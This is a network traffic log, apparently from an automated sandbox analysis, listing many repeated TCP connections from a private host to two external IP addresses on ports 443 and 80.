Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
